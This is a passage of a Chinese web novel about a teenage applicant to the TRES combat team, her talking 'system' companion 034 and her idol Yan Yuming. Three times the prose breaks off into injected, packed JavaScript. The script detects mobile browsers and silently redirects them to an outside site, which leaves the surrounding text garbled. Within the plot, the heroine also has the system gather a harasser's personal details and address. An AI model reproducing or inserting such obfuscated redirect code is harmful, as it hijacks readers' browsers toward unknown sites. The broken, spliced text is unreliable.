桌上的日历页,定格在被框住红圈的3月4日。 · 温知初回到了酒店。 邮箱里,她收到一封新的信息,恭喜她获得最终考核(体能战斗力测试)的资格,并且要求她在今日之内提供一封身体健全、可以参与体能战斗力测试的体检报告。 温知初看完邮件后,退出邮箱。 她进入TRES官网,去直播区翻看今日笔试直播的回放。 酒店外,天色已经黑了。 窗外,呼啸而过的无人机留下红色的光影长痕。 她点进24考场的直播回放,上半身靠在椅子上,单手放在键盘旁,按住视频播放的加速键,打开录屏。 百无聊赖地看着。 直到屏幕上显示TRES的官号进入直播间的提示后,她才坐直身。 看到当时进入直播的是TRES的邱任望后,温知初抿了抿唇,按停录屏键。 双腿轻轻一蹬,椅子带着她远离桌子,她不再关注直播视频,低下头去做其他事。 脸上有不是太明显的失望。 034号:[……] 034号:[…不是,我就不明白了…] 034号憋不住了。 034号:[宿主,你如果很喜欢晏逾明的话,为什么之前在采访的时候故意不坦白啊,为什么不想攻略他呢?] 034号:[还有…宿主你为什么这么喜欢晏逾明啊?你们之前认识吗?资料上没有显示你们遇到过啊。] 它有太多想不明白。 如果这辈子宿主很喜欢晏逾明的话,上辈子肯定也是同理,那么…为何要推他入深渊。 034号:[再说,宿主你就算不愿意接受去陷害、谋害男主,为什么也不同意去攻略男主?你不是喜欢他么?] 034号说了很多话,温知初连眉头都没动,像是没听见它说话。 这时,门铃响了。 温知初站起身,门铃外,站着快递机器人。 机器人:“您的快递到了,请查收。” 快递进房门后,机器人带着它的五星评分返评,在‘滋滋’声中离开。 温知初单手拿着长条的大快递盒走进房间,将盒子放到地上。 从背包里拿出了刻刀。 她半跪在地上,小心翼翼地开始拆快递。 安静的房间内,她突然出声:“我不会攻略Yu的。” 034号:[?] 它意识到这是对它刚才问题的延迟回答。 034号:[为什么啊?你不是喜欢他么?] 温知初:“算不上。” 起码不是普适意义上的那种男女喜欢。 虽然晏逾明这个存在对她而言很重要。 刻刀沿着胶带割出长痕。 她垂眼:“比起喜欢这种词,你可以当我在‘崇拜’他。”她说完后停顿了下,似乎在思考用这种词是否合理。 有个词怎么说的…偶像?还有个叫什么…亵渎?她生疏地组合着词语。 她的视线不自禁地望向自己脖子上的灰绳:“攻略这两个字,对于我对他的感情来说。” 温知初面无表情道:“是亵渎。” 034:[?!] 这么深厚的感情吗?上升到这种程度了! 它一时间竟然分不清宿主到底是在说真话还是在开玩笑。 034号:[...那就算不开启攻略,你跟他打好关系总没错呀,你是为了他才报考TRES,为什么要故意避开他啊?] 温知初:“这个原因我无法告诉你。”确实,因为一些特殊的原因,她需要离晏逾明近一些,但不能太近。 034号:[那就是事出有因…] 034号还想说些什么,“刺啦”几声,快递盒被打开,露出被泡沫袋包裹着的悬浮滑板。 034号:“滑板?” 034号:“宿主你买滑板干什么?” 温知初:“代步工具。” 她将泡沫袋撕开:“没钱了,出租车太贵。” 034号:[……] 034号:[可悬浮滑板好危险的。] 悬浮滑板便宜是便宜,但操作起来十分难,是里车祸率最高的代步工具。 它还想说些什么规劝宿主,但在看到滑板本体的同时,识趣地闭上了嘴。 034号:[呃…] 是RSV旧年发行的联名滑板。 上面印刷有Yu签名的那种。 034号:[……] 温知初从背包里拿出白天工作人员送给她的贴画,将晏逾明的贴画小心翼翼地贴在了滑板的签名旁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943366|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >034号顺手查了下宿主的存款余额。 显示:250元。 034号:[……] 日,有脑残粉。 光屏上,直播回放的画面依旧在播放,充当白噪声背景音。 温知初将滑板整理好后,站起身,坐到椅子上。 在关闭页面前,温知初略微皱眉。 直播回放的页面在TRES的官号进入直播后,被辱骂Yu的评论刷屏了。 带头依旧的依旧是那个id为[45978526]的用户。 上千条弹幕,占据了大片光屏面积。 [Yu怎么还没死啊。] [收留Yu的TRES也去死吧] [愿核弹降落TRES基地。] [五马分尸。] [时代罪人。] [必死。] …… 温知初的眼神往下压了压,沉默地关闭页面,切入B市中心医院的体检预约页面。 034号提醒:[体检虽然都是免费的,但中心医院预约人数较多,距离较远,建议预约其他医院。] 温知初放在键盘上的手指停顿了会儿,还是选择预约中心医院。 预约完后,温知初换了一身衣服,出去夜跑。 在此之前,她开口:“034号。” 034号:[到。] 温知初:“帮我查一个人。” 034号:[谁?] “id为[45978526]的那个用户,”温知初弯腰穿鞋,“越详细越好。” · 隔天七点左右,结束晨跑的温知初直接拎着背包前往中心医院。 她套了件无拉链的灰色外套,款式不规则,牛仔裤显得腿修长而直,锁骨上依旧坠着灰绳。 温知初将贴画贴到了外套的领口。 贴画没有昨天那么黏了。 温知初的表情带上些许惋惜。 034号:[……] 换了代步工具后,034号发现自己又多认识了宿主一些。 其一,宿主滑板滑得很稳很好,一路在湍急车流中无半分惊险。 其二…宿主的稳定中带着些装、装的元素。 滑滑板的时候,斜挎着背包,双手插兜,仿佛不是在滑滑板,而是在视察马路。 034号:[……] 一路到中心区后,宿主没有去体检区,意图不明地去了重症区。 她和服务中心的护士聊了聊会儿,道了声谢,前往二楼。 034号:[宿主,你来重症区干什么?] 034号:[是有认识的人么?这就是你选择来中心医院的原因?] 温知初没有回答它的问题,站到202的病房外,敲了敲门,里面没人应声,她直接推门而入。 打开门后,咆哮声从单人病房中吼出。 病床上,一个不成人形的病人四肢被禁锢,在病床上不断挣扎、吼叫。 浑身的燎泡颤动着流脓。 温知初瞥了一眼后,有些惊讶地扬了扬眉,仿佛在无声地说‘怎么变成这样了’。 病床的病历资料上,写着‘王序’二字。 王序尖叫着:“杀了我!” 他大声呐喊:“杀了我!杀了我!” 他用尖利的指甲抓挠着自己的脸,燎泡被挠破后又长出新的。 034号:[这不是RSV陷害男主的那个队长么?] 034号:[他怎么变成这种惨状了。] 034号:[宿主,你认识他吗?] 温知初:“第一次见,来看看。” 她视线下移:“看到他这样,让人心情很不错。” 面无表情的神情里,确实不经意间上升了两个像素点。 034号:[?] 034号:[啊?]这是什么仇什么怨啊… 温知初倚在墙旁,看了会儿王序的惨状,站直身,准备离开。 不巧,门口传来了交谈声和脚步声。 “晏先生,您放心,他会在我们医院得到妥善的看护的。” “我们保证他肯定会一直活着。” “您要去看看他么?” 医院主任正说着,病房内传来“砰”的一声。 高长的身影停下脚步,晏逾明望向主任:“妥善看护?” 主任的脸皱成了一团,立马推门而入。 病房内,王序依旧尖叫着,除了他空无一人。 但窗台的窗户大开着,窗帘飞舞。 楼下的温知初早就离开了,她避开人群往外走,低头后皱起了眉。 糟糕。 她开口:“贴画没了。” 肯定是刚才跳窗的时候弄丢了。 034号:[……] 034号:[!!!] 这是重点么! 重点不该是宿主突然从三米的高度直接往下攀跳吗!眨眼的功夫就落地了,竟然还毫发无损! 甚至是屈膝落地的,落地的同时双膝立直便走开了。 034号陷入怀疑人生的电流声中。 E级的体质怎么可能会做到这种程度? 它的宿主…真的只是一个低体质的未成年吗? 病房内,晏逾明走向了飘窗。 他居高临下地望向窗外,绿化带旁,行人慢悠悠地走着。 他又望向窗台,眼神停留。 窗沿旁,有一枚皱巴巴的贴画落在窗户的搭扣上。 “杀了我!”“杀了我!”“晏逾明我求求你杀了我!” 嘈杂声中,骨节分明的手指捡起了这枚贴画。 印着他模样的贴画。 7. 第7章 “Yu哥。” 章诎的声音从病房门外响起,他提醒道:“教练喊我们去体检。” 病房内高长的身影再次扫了窗外一眼。 他转身:“走。” 在离开病房前,章诎望向了病床上不断挣扎的病人。 狐狸眼眯了眯,假装自己什么都没看见,跟着转身离去。 202的门,半小时后,又被打开了。 温知初修长的身影踏入病房内,见没有外人,快步走向窗台。 来找贴画。 034号:[……] 不是,至于吗… 就一个贴画,为什么要这么在意… 根据数据堆推测,这种程度的在意,以宿主的性格为前置条件,宿主肯定和晏逾明之前有段溯源。 可惜它怎么探测都探测不出来…真是奇怪。 和宿主这个人一样,充满了谜团。 温知初俯身在窗台附近摸索,打开了终端的照明,连窗台旁柜子的缝隙都检查了。 那小小的、没有黏性的贴画,早就没了。 034号提醒道:[宿主,体检的预约时间到了。] 034号:[该出发前往体检区了。] 温知初抬起头,捋起前额的碎发,好看的眉头略带苦恼地皱起。 · 体检区。 墙上的电子钟已经走到了上午八点五十。 休息区坐满了人,TRES的队员坐在一起,一边低声讨论,一边等待叫号。 老钱帮队员们预约的VIP号,和普通号的体检室是截然相反的东西两个方向。 温知初没有经过休息区,直接去了体检室。 预约的时间正好到了。 推门而入,医疗机器人牵引她躺入体检舱。 体检舱设定为十分钟,会对受检者进行全方位的扫描、采血、检查。 十分钟后,温知初从体检舱内走出来,重新戴上鸭舌帽。 机器人:“请先去休息区等候,体检报告出来后,如果有不达标的项目,可能需要你再过来进行深度检查。” 温知初:“好。” 她拎上背包,离开之前,在机器人前停下脚步:“医生,请教个问题…像我这样的体质,升级的速度是恒定的么?” 机器人的显示屏上露出为难的表情符:“抱歉,这超过我的知识范围了,体质因人而异,你可以通过锻炼和试炼来提升等级。” 它继续说:“你想知道自己现在是什么体质等级的话,稍后的体检报告会告知你结果。” 温知初没再多问,致谢后离开。 踩着整点的钟声进入了人声嘈杂的休息区,背包放下后,保龄球发出拥挤在一起的轻微响声。 不用和他人交流的时候,神情褪去了温和,显露出骨子里的冷淡。 温知初没有看向四周,低头望向传来通知声的终端戒指。 有人给她发来了短信。 是保龄球馆的老板,一个爱钱如命但善良的中年女人。 老板:上个月的工资刚打到你卡上了。 老板:小温,真的不来上班了? 老板:店里的其他员工和常客都问你去哪儿了,他们还问了你的终端号码,我没给。 Wen:不回去了。 温知初垂眼在光屏上输入。 Wen:抱歉。 老板:你的那些周边怎么办,一直存在柜子里? Wen:对,存放。 Wen:我会继续付保管费。 老板:不用。 老板:其实…我看了TRES的笔试直播。 老板:真的很厉害。 老板:祝你通过最终测试。 Wen:谢谢。 回复完这一句,温知初关闭终端,抬眼,到体检报告出来的时间了。 终端的光屏再次亮起,响起体检结果传过来的通知声。 还没等通知完全显露,终端突然变成血红色。 [Danger]的警告在终端闪烁。 [Danger] [Danger] 随之,“砰”的一声,医院大楼内发生巨响,地面随之震动。 温知初陡然抬起眼,按住放在身旁的背包。 与此同时,医院的广播响起警报。 喇叭里传来冰凉的电子音:“中心医院,被B级私赛紧急征用。” 它重复道:“中心医院,被B级私赛紧急征用。” 休息区早就乱了,尖叫声中传来咒骂声。 “啊啊啊啊——” “真倒霉啊,出来体检都会撞上私赛征用。” “我知道私赛都是由随机分配触发场景的,但选在医院会不会太缺德了。” “啊啊啊啊啊——快逃啊,小心被圈进域里!” 体检区在医院五楼,走楼梯来不及,电梯又只有一个,大多数人根本来不及下楼,只能找角落躲着。 034号小声问道:[宿主,你不逃吗?] 温知初扶着背包坐在原位,对动乱没有任何反应,只是低着头,不断刷新刚才那条体检报告的信息。 啧。 信号被‘域’屏蔽了。 广播:“B级私赛已开始。” 广播:“中心医院紧急征用中。” 广播:“请陷入‘域’中的普通市民注意个人安全,同时注意不要妨碍选手比赛。” 广播:“本次比赛为短时赛,团队15人制,为短时赛,夺杀异种制。” 广播:“无替补。” 温知初依旧在看着终端。 域展开后,休息区的玻璃窗被呼啸而来的无人机撞碎,玻璃渣子碎了一地,无人机破窗而入,如风刃般刮过,大厅内闪过选手的奔跑的身影,无人机追随他们的身影离去。 “砰” “砰” “砰砰” 地面的颤动中,高达二米的异种破门而入,多达五六个,睁着密集的眼睛四处看。 硕大的头颅朝休息区的方向看,似乎不想再去追那些离去的选手,想留下来狩猎这片休息区。这里的食物显然更多。 大厅内响起更为激烈的尖叫声,大型异种被吸引,朝休息区飞速奔跑而来。 休息区内,除了温知初和老钱身旁的青年们,所有人都在逃窜。 异种聚集而来,剧烈的动静中,“砰”的一声,为首的异种撞在无形的墙上,猛地被撞退,紧跟而来的其他异种也全都被阻隔在外,发出跌落于地的闷响。 异种咆哮着。 休息区的普通市民哭喊。 温知初身后三排的地方,一道身影从座位上站起来,似乎被吵到了,脸上露出些不耐烦,但很快又一脸笑眯眯的模样。 这道身影从温知初身旁经过,走向了那堵无形的墙。 章诎。 他眯着狐狸眼,敲了那堵无形的墙,扫视休息区的人群:“诸位,能不能安静点,发出更大的声音,反而会吸引更多的异种过来。” 听到他的话,休息区惶恐的人群逐渐安静。 主要他们都认出了他:“章诎!” “是TRES战队的章诎!” “TRES战队在这里啊!” “啊啊啊啊有救了,TRES战队是S级战队啊。” “怪不得那个异种过不来,S级战队都有隔绝域的特权,那些异种过不来的。” 章诎:“是的,大家现在很安全。” 章诎眯了眯狐狸眼:“如果能更安静些就好了。” 他问:“好吗?” 被安抚的人群点了点,不再发出喧哗声。 温知初抬眼,视线定住。 TRES战队怎么在这里,那么…他…也来了么… 像是回应她的问题,她身后走来一群人。 邱任望的声音响起:“这里有域的直播,一起来看…不是,黑眼镜儿,我身上有味儿吗,你一定要坐得离我这么远?你干脆坐地上得了。” 一群人落座在温知初身后背靠背的那排位置。 大厅的半空,悬浮一道光屏,上面投映出比赛的现场。 温知初的眼睛缓慢地望向身前的玻璃,玻璃门上,倒映着比赛的直播,也倒映出身后人群的模样。 人群中。 是他。 温知初的眼神顿住,锁骨上的灰绳好似在发烫。 意识到这一点,她猛然将视线收回,将鸭舌帽压得更低。 似乎是想通过这个动作将自己的存在感压到最低。 不过,这个愿望,显然很难实现。 一只手敲了敲她的肩:“嘿!” 邱任望笑道:“这位…小孩儿?你怎么这么冷静,要不要一起看?” 034号:[?]小孩儿? 034号:[我们家宿主177cm,虽然还差一岁才成年,但不至于被认成小孩儿吧?] 感觉十二三岁的才被称之为小孩儿… 宿主也是吃了腿太长的亏,坐下来单看到上半身不看腿的话,有些显矮。 温知初淡淡地应声:“谢了,不用,我能看到。” 邱任望:“啊?” 他望向温知初对面的玻璃,了然:“啊——”现在的年轻孩子都好高冷啊。 邱任望看了温知初的卡片信息。 卡片信息只显示年龄、体质等级、和战队信息,隐藏了姓名。 是个E级的未成年,果然是小孩儿啊… 不过…战队信息上,显示了正在报考战队中。 邱任望笑了笑,坐到温知初的身后:“对加入战队很感兴趣?” 老钱拿卷起来的资料敲了他一脑袋:“邱任望,你别骚扰普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943367|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市民。” 老钱:“呱呱噪噪的,成何体统。” 邱任望委屈地揉了揉自己的脑袋:“我只是想释放一些善意的信号。” 老钱:“有这功夫,看看比赛吧,看能不能找到点儿Tact位的启迪。” 主Tact位邱任望:“好好好。” 温知初的眼睛落在玻璃的光屏倒影上,光屏上,选手或是奔跑着冲向异种,或是被异种追逐着撕咬,不少镜头画面已然被染红。 惨叫声中,温知初根本看不进去,她绷紧着修长的手指,鸭舌帽下神色不明。 邱任望继续释放着善意的信号,太过自来熟,主动给她讲解比赛。 邱任望:“多看些比赛能提高悟性,哪怕体质不足,但悟性足的话,也可以往Tact位发展。” 他自顾自道:“你肯定知道分三个比赛职能,分别是Tact,Vant,和Carn。” Tact是Tactics的缩写,引申为策略位。 Vant是Vanguard和Vent的联合寓意缩写,意指先锋位。 Carn是Carnage的缩写,意指屠杀位。 他道:“里比赛制太多了,每个制度下这三个位置其实被限制的、能做的事情很不一样,所以不用太过死板地区分、理解这三个职能。” 邱任望:“往刻板印象里说,Tactics偏脑力,Vant偏体力,而Carn需要脑力和体力的综合。” …… 邱任望说了很多话,温知初一句都没听进去。 034号能感应到宿主的情绪,对这个叫邱任望的人类顿生同病相怜之感。 终于有人和它享受同一个待遇了…说一大通结果宿主的注意力根本不在它身上的这种感觉…痛,真痛。 邱任望本来准备通过讲解这场B级比赛给温知初科普科普的。 但他发现根本无法讲解—— 将铭面瘫着张脸:“他们打得太烂了。” 将铭:“估计没上主力队员,毫无章法,没有任何参考意义。” 没有人做策略,无人探路,该输出的人员几乎都在逃跑。 溅在镜头上的血液一层盖上一层,泅红了所有人的视野。 大厅前,有选手跑过来想要求救,但还来得及没出声,就已经被异种给撕成了两半,掉落在无人机前。 坐在位置上的所有人都麻木地看着这一切。 章诎:“这就是比赛不提前做准备,不重视自己生命的结局。” 亦是弱者的结局。 章诎露出一个老狐狸该有的笑:“希望他们在比赛前有在联盟买死亡保险。” 邱任望立马皱起眉:“卧槽,老狐狸你能不能对死亡有点儿敬意…” 章诎:“你有吗?” 邱任望:“我…我…” 耳边絮絮叨叨的,温知初盯着玻璃上的直播倒影,心思却全然不在此。 唇线抿平。 眼睛太久不眨,有些干涩。 直到广播里响起“比赛结束,领域解离”的响声后,温知初才抬眼。 比赛结束了,他们…他…应该也要离开了。 在离开之前,看一眼吧…温知初的视线小幅度地转移,看向玻璃上那道淡漠而高大的身影。 温知初眼神一顿。 她对上了晏逾明的双眼。 这个高大的男人的不知道转身看了她多久,他半倚着椅子,眼神从上至下地盯着她,最终定在鸭舌帽下的侧脸上。 晏逾明的胳膊慵懒地架在椅背上,离她的肩没有几厘米,看起来触手可及。 温知初的视线停留了一瞬,硬是移开了眼神。 没有人注意到她发红的耳根,甚至因为下垂的视线,她看起来过于冷淡。 她盯着自己的指骨。 休息区的人群撤离,老钱开口:“我们也走吧,记得把报告都收好。” TRES战队的队员们站起来,往外走。 温知初站起身,斜挎起背包,保龄球发出相碰的轻响。 确实该去拿体检报告了。 温知初往TRES战队的反方向走。 身后传来声音:“喂!” 邱任望热情地开口:“邀请你去我们基地参观,去吗?” 邱任望相信,对于一个正在报考战队的人而言,没有任何事比去TRES基地中心参观还要酷了。 034号对这个人类十分满意,它紧跟着说:[宿主,你就去吧…] 它还没有放弃劝说宿主攻略的事:[顺道开启攻略男主该多好啊。] 晏逾明站在不远处,正淡漠地垂眼望向她,视线从上到下,一直没有间断,如一把能探入衣襟的刀。剐蹭,搅动。 斜挎着背包的修长身影连头都没回:“抱歉。” 冷淡的声音走远:“我还有事。” 8. 第8章 对于邱任望的呆状,将铭赐四个字。 将铭:“自取其辱。” 邱任望:“!” 邱任望:“不是!我们TRES的基地现在已经这么拿不出手了么?” 邱任望跟着队伍离开:“…现在的年轻孩子都这么高冷的吗。” 他走到晏逾明身旁,比划道:“Yu哥,你瞧见了吗…话那么少,语气那么冷硬,帽子压得那么低,都没看清长什么样子。” 晏逾明:“你想知道她长什么样?” 邱任望一下没跟上对话的节奏:“…我能吗?” 高大修长的身影漫不经心道:“回去看简历照片。” 邱任望:“?” 邱任望:“啊?” 他像是想出了什么:“我们为什么会有她简历的照片,难道…”她是TRES的笔试通过考生? 晏逾明:“她是温知初。” 低沉的嗓音念出这三个字,淡漠的语气里多了几分莫名的意味。 “啊?” 邱任望的嗓门变大。 将铭面瘫着用力地拍了拍他的肩:“我都看出来了。” 直播采访的时候她的长相虽然没有入镜,但是帽子和背包入镜了。 他开口:“那孩子挺有志气的,拒绝你应该是想避嫌,想凭自己的本事进基地。” 将铭显然将此事朝另外一个极端方向误解。 邱任望的声音更大了:“啊——啊?” 晏逾明已经坐上了车,老神在在地望向车窗外,叼着烟,并不点燃,嘴角略微上扬,周身一直死气沉沉的冷漠有了明显的波动。 像极了一个终于看到猎物的狩猎者。 · B市酒店。 温知初拿回了自己的体检报告,抬起纸张坐在椅子上看,她的神情不算好,尤其在看到自己的体质等级依旧是E-6时。 果然,等级还是卡住了。 她看向天花板,叹了一口气。 这就是她必须要去晏逾明身边的原因。 这个等级,绝对不能停留在E级了。 再这样下去,绝对会出大事。 深黑的眸子里蕴藏着不为人知的秘密,浓密的睫毛遮掩住她的眼神。 034号并不知晓温知初在想什么。 034号:[宿主你这体质怎么看也不像是E级啊。] 034号:[难道是出错了?] 不,不可能出错。 它扫描完宿主的身体,依旧没有找到任何异常。 034号已经习惯了自家宿主的周身总是充满谜团,找不到缘由,它只能宽慰道:[没事,宿主,E级也可以很强…] 片刻后,它又道:[但加入TRES还是得量力而行,E级参加体能战斗力测试太危险了,宿主我劝你还是别去参加测试,换种方式靠近男主吧…] 温知初站起身,走到酒店的玻璃窗旁,望向楼外的夜景。 半空中的无人机如同黑蜂般在夜空中穿梭,红色的光点时不时闪烁,温知初冷淡的眸色中倒映出斑驳的红色长痕。 她站在窗边,抬起头,望向广袤的夜空。 温知初:“如果可以,我也不想加入TRES战队。” 034号:[!] 难得听到宿主的心里话。 034号问:[为什么?] 温知初沉默了片刻。她有必须去接近晏逾明的理由,除了加入战队,没有其他办法。 其实对靠近Yu没什么执念。 “换位思考,”温知初平淡地开口,“如果上辈子‘背叛’我的人来我的战队,和我朝夕相处,我会很烦。” 034号:[不一定啊。] 034号:[男主这个人的心思很变态…不是,很难测的,说不定他还会因为宿主你上辈子杀过他而高看你一眼。] 它连忙顺坡下驴:[宿主你如果担心这个,不如就按我说的,开启好感度攻略认真进行攻略,就算前期男主对你是负的好感值,在不断的攻略下,说不定最后能升到百分百。]小说里都是这么写的。 温知初听着,扬起唇:“可是…我不希望他对我的好感值太高。” 亦是因为一些无法说出口的原因。 颀长白皙的手指按向了锁骨上的灰绳。 他们之间最好的距离,就是她希望他不要太厌恶她,但也不要对她产生好感和善意。 不近不远,是最适合他们的距离。 她望向窗外的眼神,彻底冷了下来。 · TRES基地休息区。 邱任望从一群考生的简历中找到了温知初的那一封简历,看着简历上的照片,他沉默了许久,而后爆发出叫声。 邱任望:“这是三次元能有的长相吗?” 晏逾明没有抬眼,依旧看着手中的书页:“好看?” 邱任望:“不是好看!是非常好看!非常非常之好看!” 看完后,邱任望的脑海里只有一个想法:“那我算什么,女娲随手甩下来的一粒泥点子么?” 将铭面瘫着张脸,走过来也看了一眼。 对他人长相并不是很感兴趣的他,看到照片的第一瞬间,不得不承认皮囊和骨相之美,好看到一定程度,会平等地冲击每一个人。 他说了句:“很端正。” 这已经是一根木头最大的赞美了。 岂止是端正。 照片上,少女明明只身着简单灰色T恤,头发也只是简约地半扎半披,但看向镜头的双眼,深黑而充满张力,像是要透过照片看出照片外之人的灵魂。 她的气质很冷淡,是典型的东方人偏雅的长相,气质慵懒,但由于眼型的缘故,她笑起来时会看起来很温和天真。 笑起来后,不明显的犬牙泄露出她这个年龄该有的稚气。 温和的慵懒中,又透露着一定的攻击性。 这样的人,有种超越性别的吸引力,单单是这样的照片,就让人移不开眼。 邱任望拿着这张简历感叹:“这,这…” TRES ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943368|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战队的队员颜值都很高,但颜值这么高的,除了Yu哥,他头一次见。 邱任望将简历怼到屈孚宁眼前:“黑眼镜儿,你看看,你看看…” 屈孚宁躲开不断靠近的邱任望:“我看的到…” 他低声道:“好看…你拿远点儿。” 邱任望:“…对着张照片,你也能恐人?” 章诎投来眼神。 邱任望:“怎么样?” 章诎笑眯眯道:“确实出彩。” 邱任望:“你之前还对这位考生有那么大敌意。” 章诎依旧眯着他那双狐狸眼:“颜值和实力之间不存在线性关系。” 他耸耸肩:“我依旧不看好这个E级的选手。” 邱任望也耸耸肩:“是骡子是马,一个月后体能战斗力测试结果出来就知道了。” 邱任望绕过人群,将简历毕恭毕敬地送到晏逾明的眼前:“Yu哥,你看看,这就是我看好的那个考生…” 晏逾明的眼神从书页上挪开,淡漠地望向简历上的照片。 片刻后,他开口。 “不上镜。” · B市酒店。 034号对宿主隐瞒了一件事。 它其实能看到男主对宿主的杀意值非常高,但一直没有对宿主说,因为它还对劝说宿主攻略男主不死心。 可就在刚才,男主对宿主的杀意值竟然又高了些。 034号:[!] 这是怎么了,今天白天在医院见面都没有升高,怎么这会儿突然升高了呢! 宿主显然无法与它共情,温知初正在TRES网站浏览有关Yu的新周边。 034号:[……] 注意到034号在关注她,温知初开口:“我让你查的事查到了么?” 034号反应过来:[那个id为[45978526]的用户?宿主,我已经将他的个人信息发给你了。] 郭盂,年龄39,是FTIC战队(A级战队)俱乐部老板的儿子,从未真实接触过晏逾明,但十分厌恶嫉妒晏逾明。手下有一支公关团队,针对Yu不分场合地进行网络攻击。 在《深渊》的后续剧情里,由于太过嫉妒男主,他安排FTIC战队的内部人员在比赛时故意对男主下黑手,差点引起大祸。 温知初抬眼,语气冷淡:“所以他是一个坏人。” 034号:[当然。] 温知初:“好。” 她开口:“给我他的地址。” 034号:[?] 034号:[宿主,我知道你不喜欢他在网上对男主的诋毁,但…你要他的地址干什么?难不成宿主你要亲自去找他?] 034号:[……] 034号:[万万不能啊,这人虽然不学无术,没有加入任何战队,但好歹是个大老板的儿子。] 温知初置若罔闻,她盯着网页上的周边,点击预约:“给我他的地址。” 网页上,弹出‘预约成功’的提示音。 9. 第9章 测试被安排在了五月初。 这一个月的空档时间内,温知初一直待在酒店内。 034号就近观察宿主。 大半个月过去,它看到了宿主的更多面。 宿主的生活非常规律,每天早上五点,不需要闹钟就醒了,醒了后宿主会出去爬山晨跑。她总是背着一袋保龄球,但从来没有用过,似乎以此来负重训练。 宿主上午看书,下午去酒店休息区游泳,晚上夜跑,时间每天卡得都分文不差,像是有强迫症似的。 休息的时候,宿主会看电视。 034号以为宿主这种性格,应该会喜欢看悬疑片或者惊悚片,但是宿主每次看得都是…动画片。 那种教成语、俗语、典故和心理行为规范的系列片:《小朋友都爱的宝镜》。 为了点播宝镜系列的动画大电影,宿主斥巨资50元开了酒店电视点播台的会员。 她看得非常聚精会神,似乎真的想通过这种儿童教育动画学会什么。 034号:[……]这还是它第一次见宿主为了Yu之外的人花钱。 该说不说,只有这种时候,034号才能从自家宿主的身上感受到丝丝未成年的气质来。 还是个孩子啊…就是看的东西会不会太幼稚了... 虽然宿主看动画片也是面无表情地看,跟在研究什么纪录片似的。 除此以外,034号还发现了一件事。 宿主没有想象中那么高冷,其实是慢热,随着他们之间相处时间的推移,它和宿主逐渐能聊得上话,终于不是它独自单口相声了。 不过宿主话少,除了有关Yu的话题,一般它说10句,宿主说1句。 发现能和宿主交流后,034号大起了胆子,开始在宿主耳畔念经,针对去攻略男主这件事进行持续的念叨。 讲为什么要攻略男主,讲攻略男主的好处,讲攻略的男主的各种办法,一直讲,一直讲… 就这么讲了个大半个月,也不管宿主到底有没有在听。 电视上播放着《小朋友都爱的宝镜》,在讲有关‘灯下黑’的俗语。 温知初坐直,耳畔034号不断的念叨声让她略微皱起眉。 脑海中多出一个系统并不让人愉快,她本来将此当成背景音,但是这个系统过于絮叨的行为,还是给生活带来一定程度的影响。 尤其是对于攻略男主这件事,她已经拒绝了很多次。 啧。 烦了。 034号在观察她,她亦在观察这个系统。 这大半个月过去,温知初将034号纳在可控范围内。 温知初拿起遥控器,按下了暂停键,《小朋友都爱的宝镜》停在了‘灯下黑’这个页面。 温知初:“034号。” 034号停止了劝说:[在。] 温知初坐直身,脸上露出温和的笑:“我说过了,我不会去攻略男主。” 034号:[我知道。] 它主打一个我听进去了但我下次还说。现在住嘴以后还会持续不停劝说不停絮叨,俗称精神攻击。 温知初显然知道它在想什么:“你没听进去。” 她站起身,走到衣架旁:“我能理解你为什么听不进去,毕竟我一直只表明了自己的态度,但没有拿出具有说服力的理由。” 034号:[宿主…] 温知初望向电视页面:“你知道人类的词语中,有个词语叫灯下黑吗?”这是她今天才学会的词汇。 034号:[我知道,灯下黑指的是人偶尔会因为惯性,忽略最显而易见的事。] 温知初从衣架旁,拿下了一件外套:“是啊。” 温知初:“你观察了我这么长时间,难道没有发现我身上最违和的地方吗?” 034号:[违和?] 034号看着宿主披上外套,没明白宿主的意思,它观察了宿主这么长时间,除了等级体质莫名的低外,其他还算正常,尤其是日常生活,十分规律,也没有什么社交圈,非常正常啊…规律到和它这个系统的作息几乎都一模一样。 温知初:“没有发现?” 温知初嘴角扬起一贯温和的笑,她拉起衣服拉链,戴上了口罩:“看来灯下黑是真的。” 她提醒道:“你要记得,你是系统,我是人。” 她拎起背包:“你难道没有发现我作为人,少了一项很重要的日程么?” 034号:[?] 什么意思? 等等… 034号:[!] 对啊… 034号发出电流声,它后知后觉地意识到一件恐怖的事儿。 宿主和它的日程几乎差不多,但不应该如此。 作为一个系统它有一件从来不做的日程,这么长时间内,宿主作为一个人类,竟然也从来没有履行过。 吃饭...人不是系统,人类需要进食啊。 进食! 自从034号绑定温知初后,它竟然、从来没有、观察到她进食! 彻底的灯下黑。 等等…连营养剂都没有吃过吗…034号搜索自己的存储记忆。 没有! 034号的电流声越来越大,人类多久不吃饭会死来着,人、人… 